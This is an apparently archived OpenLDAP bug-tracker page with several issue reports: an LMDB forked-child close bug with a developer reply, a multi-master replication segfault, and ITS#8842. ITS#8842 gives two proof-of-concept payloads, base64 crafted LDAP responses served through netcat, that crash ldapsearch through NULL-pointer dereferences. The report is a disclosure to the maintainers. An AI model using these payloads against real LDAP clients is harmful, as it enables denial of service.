Re: (ITS#8844) LMDB mdb_env_close is unsafe in forked child
by h.b.furuseth＠usit.uio.no
On 02/05/2018 18:05, hyc(a)openldap.org wrote:
> Following on from ITS#8505.
> mdb_env_close0() uses env->me_pid when clearing the readers table. If the env
> was open in a process that forked, and the child process calls mdb_env_close(),
> it will be clearing the wrong PID. Change this to use getpid() instead.
Wait, what? The child didn't write any pids to the table. If
there are pids for it to clear, something is wrong. That can be:
- The pid is from an older run, and the system reused the pid. If we
code for this, it should be to clear such pids during mdb_env_open.
It gets very arbitrary to clear them when the user does env_close()
in the child and the child happens to have the that reused pid.
- The child opened a new MDB_env with the same path, and closes the
parent's env afterwards. Don't Do That, users. But what to do in
this situation, if we are to have code for it, is to do nothing with
the lockfile. Not close it either, since closing it will lose the
lock for the env which was opened in the child.
5 years
(ITS#8844) LMDB mdb_env_close is unsafe in forked child
by hyc＠openldap.org
Full_Name: Howard Chu
Version: 2.4
OS: Linux
URL: ftp://ftp.openldap.org/incoming/
Submission from: (NULL) (83.136.45.253)
Submitted by: hyc
Following on from ITS#8505.
mdb_env_close0() uses env->me_pid when clearing the readers table. If the env
was open in a process that forked, and the child process calls mdb_env_close(),
it will be clearing the wrong PID. Change this to use getpid() instead.
5 years
(ITS#8843) null modlist with MMR > 2 can cause segv
by quanah＠openldap.org
Full_Name: Quanah Gibson-Mount
Version: 2.4.46
OS: Linux
URL: ftp://ftp.openldap.org/incoming/
Submission from: (NULL) (47.208.148.239)
There is a race condition with MMR >2 that can cause slapd to segv, due to the
op->modlist being set to NULL for a change that's already been processed.
If the target entry is already newer than the mod, and we then look in the logDB
to see what was changed, and the newer mod is a delete(attr) then any other
changes to that attr are dropped from the modlist, which can result in the
modlist being NULL
5 years
(ITS#8842) NULL pointer derefence
by openldap＠katzen.cc
Full_Name: Catz Meow
Version: openldap-2.4.46
OS: Archlinux
URL: ftp://ftp.openldap.org/incoming/
Submission from: (NULL) (134.19.121.246)
2 small issues:
I'm keeping it brief, let me know if you need more information.
A malicious LDAP server or mitm attacker can craft a response that causes the
ldap client to crash. Nothing critical, just a simoke DoS.
echo "MAwCAQFhBwoBAAQABAAwNgIBAnkxBBFkYz1leGFtcGxlLGRjPWNvbQoBAgoBAAIBAAIBAAEBAIcL
b2JqZWN0Y2xhc3MwADCBiQIBAmSBgwQRZGM9ZXhhbXBsZSxkYz1jb20wbjAnBAtvYmplY3RDbGFz
czEYBAhkY09iamVjdAQMb3JnYW5pemF0aW9uMA8EAmRjMQkEB2V4YW1wbGUwDgQBbzEJBAdFeGFt
cGxlMCIEC2Rlc2NyaXB0aW9uMRMEEUV4YW1wbGUgZGlyZWN0b3J5MHkCAQJkdAQZY249cm9vdCxk
Yz1leGFtcGxlLGRjPWNvbTBXMCMEC29iamVjdENsYXNzMRQEEm9yZ2FuaXphdGlvbmFsUm9sZTAM
BAJjbjEGBARyb290MCIEC2Rlc2NyaXB0aW9uMRMEEURpcmVjdG9yeSBNYW5hZ2VyMIIBcAIBAmSC
AWkEGnVpZD1hZGFtLGRjPWV4YW1wbGUsZGM9Y29tMIIBSTA6BAtvYmplY3RDbGFzczErBAN0b3AE
B2FjY291bnQEDHBvc2l4QWNjb3VudAQNc2hhZG93QWNjb3VudDAMBAJjbjEGBARhZGFtMA0EA3Vp
ZDEGBARhZGFtMBQECXVpZE51bWJlcjEHBAUxNjg1OTASBAlnaWROdW1iZXIxBQQDMTAwMB0EDWhv
bWVEaXJlY3RvcnkxDAQKL2hvbWUvYWRhbTAZBApsb2dpblNoZWxsMQsECS9iaW4vYmFzaDAPBAVn
ZWNvczEGBARhZGFtMBcEEHNoYWRvd0xhc3RDaGFuZ2UxAwQBMDAQBAlzaGFkb3dNYXgxAwQBMDAU
BA1zaGFkb3dXYXJuaW5nMQMEATAwOAQMdXNlclBhc3N3b3JkMSgEJntTU0hBfXMzdWIwNnpCNVd2
UmVUZFZPOEVRelRMWVhvSFRCWGVNMAwCAQJlBwoBAAQABAA=" | base64 -d | nc -lvp 14222
./clients/tools/.libs/ldapsearch -D cn=root,dc=example,dc=com -b
dc=example,dc=com -h 127.0.0.1:14222 -x -w secret
Affected code:
./clients/tools/ldapsearch.c
static int dosearch(
[...]
case LDAP_RES_INTERMEDIATE:
npartial++;
ldap_parse_intermediate( ld, msg,
&retoid, &retdata, NULL, 0 );
nresponses_psearch = 0;
if ( strcmp( retoid, LDAP_SYNC_INFO ) == 0 ) {
The problem here is that retoid can be NULL after ldap_parse_intermediate() is
called.
Another NULL pointer dereference caused by a bad response:
echo "MAwCAQFhBwoBAAQABAAwgYkCAQJkgYMEEWRjPWV4YW1wbGUsZGM9AARtMG4wJwQLb2JqZWN0Q2xh
c3MxGAQIZGNPYmplY3QEDG9yZ2FuaXphdGlvbjAPBAJkYzEJBAdleGFtcGxlMA4EAW8xCQQHRXhh
bXBsZTAiBAtkZXNjcmlwdGlvbjETBBFFeGFtcGxlIGRpcmVjdG9yeTB5AgECZHQEGWNuPXJvb3Qs
ZGM9ZXhhbXBsZSxkYz1jb20wVzAjBAtvYmplY3RDbGFzczEUBBJvcmdhbml6YXRpb25hbFJvbGUw
DAQCY24xBgQEcm9vdDAiBAtkZXNjcmlwdGlvbjETBBFEaXJlY3RvcnkgTWFuYWdlcjCCAXACAQJk
ggFpBBp1aWQ9YWRhbSxkYz1leGFtcGxlLGRjPWNvbTCCAUkwOgQLb2JqZWN0Q2xhc3MxKwQDdG9w
BAdhY2NvdW50BAxwb3NpeEFjY291bnQEDXNoYWRvd0FjY291bnQwDAQCY24xBgQEYWRhbTANBAN1
aWQxBgQEYWRhbTAUBAl1aWROdW1iZXIxBwQFMTY4NTkwEgQJZ2lkTnVtYmVyMQUEAzEwMDAdBA1o
b21lRGlyZWN0b3J5MQwECi9ob21lL2FkYW0wGQQKbG9naW5TaGVsbDELBAkvYmluL2Jhc2gwDwQF
Z2Vjb3MxBgQEYWRhbTAXBBBzaGFkb3dMYXN0Q2hhbmdlMQMEATAwEAQJc2hhZG93TWF4MQMEATAw
FAQNc2hhZG93V2FybmluZzEDBAEwMDgEDHVzZXJQYXNzd29yZDEoBCZ7U1NIQX1zM3ViMDZ6QjVX
dlJlVGRWTzhFUXpUTFlYb0hUQlhlTTAMAgECZQcKAQAEAAQA" | base64 -d | nc -lvp 14222
./clients/tools/.libs/ldapsearch -D cn=root,dc=example,dc=com -b
dc=example,dc=com -h 127.0.0.1:14222 -x -w secret
The PoC leads to memcpy being called with a NULL pointer as second argument
(ava->la_value.bv_val) in dn2domain() (libraries/libldap/getdn.c):
AC_MEMCPY( str, ava->la_value.bv_val, ava->la_value.bv_len + 1);
5 years
